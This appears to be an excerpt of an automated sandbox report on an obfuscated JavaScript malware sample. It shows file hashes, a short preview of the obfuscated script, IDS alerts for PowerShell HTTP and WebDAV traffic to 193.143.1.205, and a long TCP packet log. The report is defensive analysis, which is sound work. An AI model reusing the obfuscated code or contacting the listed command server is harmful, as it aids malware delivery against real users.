Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17663), with CRLF line terminators
Entropy (8bit):	4.918592277004433
TrID:
File name:	677073752851910183.js
File size:	21'186 bytes
MD5:	5b7745ed4041456763f2fbd4a9a7fb3f
SHA1:	e94a1c2959e4926314d20152d46111f8f5c3043e
SHA256:	9bc370531b9d3a0e26bb3aae400fcda14a08123d36ca1032a37ad36337fb8e75
SHA512:	a76f04fd4587c9e6010d9ff23106fc51b7cb8265048d8dbe457db90ea8e60c044a82691909eb4e0ada399c4ffef7c5ddb8382ec719c52df33f65d677143b7416
SSDEEP:	384:acQdb7hu9uUdlggqHZTo5UjeNhxWJmaSX5JADJ61XX:acQdBwdlgfiZ1X5JADJ61H
TLSH:	389261861598261E8DE491B1837F0CEA9620A3DFC18118AD9754F49DCB67FF1E6E203E
File Content Preview:	function sgemzt(){cdfjnsbvl=[1031,3079,5127,4103,2055,3072];var lmlxviu=this[vwlndrzgx+heidd+lcxqxt+mlpge+luvbugvnn+oqmacckf+svoah+giqgs](this[lixnqijt+wjikq+pdjmgpm+lcxqxt+gcsauxmva+vwlndrzgx+giqgs][wkoxnxizb+lcxqxt+luvbugvnn+heidd+giqgs+luvbugvnn+hodzpu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:09:22.360340+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T21:09:25.147093+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:09:21.548062086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:21.553018093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:21.553119898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:21.559572935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:21.564456940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360220909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360286951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360327005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360340118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.360364914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360416889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360429049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.360454082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360491037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360505104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.360526085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360555887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360575914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.360590935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.360641003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.365418911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.406263113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.406279087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.406326056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.459644079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.488993883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489016056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489032984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489048958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489065886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489090919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.489151955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.489406109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489454031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.489500999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489528894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489545107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489563942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489573002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.489578962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.489619017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.490468979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.490484953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.490502119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.490519047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.490534067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.490546942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.490587950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.491295099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.491322041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.491339922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.491359949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.491367102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.491424084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.537862062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.537899971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.538016081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.579488039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.579525948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.579560041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.579624891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.617275000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617309093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617361069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617379904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.617396116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617428064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.617433071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617468119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617491961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.617502928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617539883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.617549896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.618141890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618176937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618191957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.618213892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618273020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.618432999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618491888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618526936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618541002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.618565083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618601084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618616104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.618635893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618671894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.618685007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.619247913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.619282007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.619301081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.619354010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.619388103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.619405985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.619425058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.619458914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.619472980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.619498014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.619548082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.620294094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.620328903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.620364904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.620378017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.620399952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.620434999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.620445967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.620470047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.620510101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.620517015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.621079922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621121883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.621146917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621185064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621220112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621237040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.621257067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621290922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621306896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.621328115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621377945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.621944904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.621982098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.622030020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.627739906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.627777100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.627813101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.627846003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.669276953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.669341087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.669421911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.708065033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.708102942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.708121061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.708141088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.708158970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.708177090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.708225965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.708307028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.746349096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746385098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746440887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746476889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746510029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.746514082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746548891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.746548891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746586084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746602058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.746623039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.746675968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.747114897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747150898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747198105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.747208118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747246027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747298956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.747529984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747582912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747621059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747632980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.747656107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747692108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747706890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.747729063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747766018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.747777939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.748292923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.748342991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.748410940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.748464108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.748502016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.748514891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.748537064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.748573065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.748586893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.748611927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.748656988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.749216080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.749252081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.749299049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.749309063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.749345064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.749382019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.749392033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.749418020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.749456882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.749464035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.750158072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.750207901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.750211954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.750253916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.750288010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.750303030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.750324965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.750360012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.750372887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.750399113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.750444889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.751142025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.751177073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.751214027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.751224995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.751250982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.751286983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.751298904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.751339912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.751378059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.751388073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.751988888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752039909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.752041101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752077103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752110958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752125025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.752146959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752181053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752198935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.752218008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752265930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.752877951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752916098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752953053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.752964020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.752989054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.753025055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.753036022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.753060102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.753097057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.753108025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.753683090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.753731966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.753739119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.753974915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.754025936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.754029036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.754065990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.754100084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.754112005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.754136086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.754172087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.754184961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.754208088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.754262924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.754822016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.758460999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.759239912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.759272099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.759304047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.759306908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.759357929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.759377003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.763716936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.797801971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797826052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797854900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797873020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797899008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797916889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797915936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.797930956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797934055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.797946930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797965050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797982931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.797988892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.798037052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.798049927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.798053980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.798069954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.798090935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.798130989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836339951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836375952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836429119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836463928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836478949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836499929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836532116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836534977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836575985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836585999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836628914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836678028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836684942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836718082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836754084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836766958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836787939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836836100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836843014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836895943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836932898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.836944103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.836966991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.837002039 CET	80	49704	193.143.1.205	192.168.2.5
